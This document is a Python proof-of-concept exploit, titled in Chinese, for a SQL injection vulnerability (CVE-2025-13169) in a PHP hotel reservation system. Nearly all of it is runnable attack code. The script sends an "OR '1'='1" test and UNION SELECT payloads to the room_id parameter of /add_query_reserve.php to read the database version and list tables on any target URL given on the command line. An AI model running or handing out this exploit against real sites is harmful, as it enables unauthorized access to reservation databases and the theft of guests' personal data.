CVE-2025-13169 Simple Online Hotel Reservation System SQL注入漏洞

import requests import sys # CVE-2025-13169 PoC - Simple Online Hotel Reservation System SQL Injection # Target: /add_query_reserve.php # Parameter: room_id def exploit_sqli(target_url, payload): """ Exploit SQL injection in room_id parameter payload: SQL injection payload to inject """ params = { 'room_id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def extract_database_version(target_url): """ Extract database version using UNION-based injection """ payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL-- -" result = exploit_sqli(target_url, payload) if result: print(f"[*] Database version extraction successful") return result return None def extract_tables(target_url): """ Extract table names from database """ payload = "1' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" result = exploit_sqli(target_url, payload) if result: print(f"[*] Table enumeration successful") return result return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/add_query_reserve.php") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-13169...") # Test basic injection test_payload = "1' OR '1'='1" result = exploit_sqli(target, test_payload) if result: print(f"[+] Target appears vulnerable to SQL injection") # Extract database version print(f"[*] Attempting to extract database version...") extract_database_version(target) if __name__ == "__main__": main()